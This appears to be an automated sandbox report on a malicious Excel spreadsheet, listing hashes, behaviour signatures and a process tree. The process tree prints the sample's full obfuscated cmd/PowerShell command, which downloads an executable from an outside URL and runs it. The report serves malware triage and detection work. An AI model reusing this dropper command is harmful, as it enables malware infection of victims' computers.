Analysis
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max time kernel
19s -
max time network
18s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
22-07-2024 22:20
Behavioral task
behavioral1
Sample
3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls
Resource
win10v2004-20240709-en
General
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Target
3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls
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Size
72KB
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MD5
2de767f38788217a8265ee15b91e5bb9
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SHA1
f9ee5c0226f01e061bee62e20514ea568bf3165f
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SHA256
3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3
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SHA512
1312b523aab8bd701228ff95a05c96fc9b14047d1496c7b10b780c7d40c0203b095477805fc24a1dafc18270e897145ee7cbd7ff675df7179faaba11df4b5bcb
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SSDEEP
1536:AaOadvxHlcaQPy0iWYOcG4BDhnxD7oOExxEtjPOtioVjDGUU1qfDlaGGx+cL2QnZ:AaOadvxHlcaAy0iWYOcG4BDhnxD7oOEe
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2616 2484 CMd.exe 29 -
pid Process 2624 powershell.exe -
Office loads VBA resources, possible macro or embedded object present
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Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2484 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2624 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2624 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2484 EXCEL.EXE 2484 EXCEL.EXE 2484 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2484 wrote to memory of 2616 2484 EXCEL.EXE 30 PID 2484 wrote to memory of 2616 2484 EXCEL.EXE 30 PID 2484 wrote to memory of 2616 2484 EXCEL.EXE 30 PID 2484 wrote to memory of 2616 2484 EXCEL.EXE 30 PID 2616 wrote to memory of 2624 2616 CMd.exe 32 PID 2616 wrote to memory of 2624 2616 CMd.exe 32 PID 2616 wrote to memory of 2624 2616 CMd.exe 32 PID 2616 wrote to memory of 2624 2616 CMd.exe 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\SysWOW64\CMd.exeCMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2624
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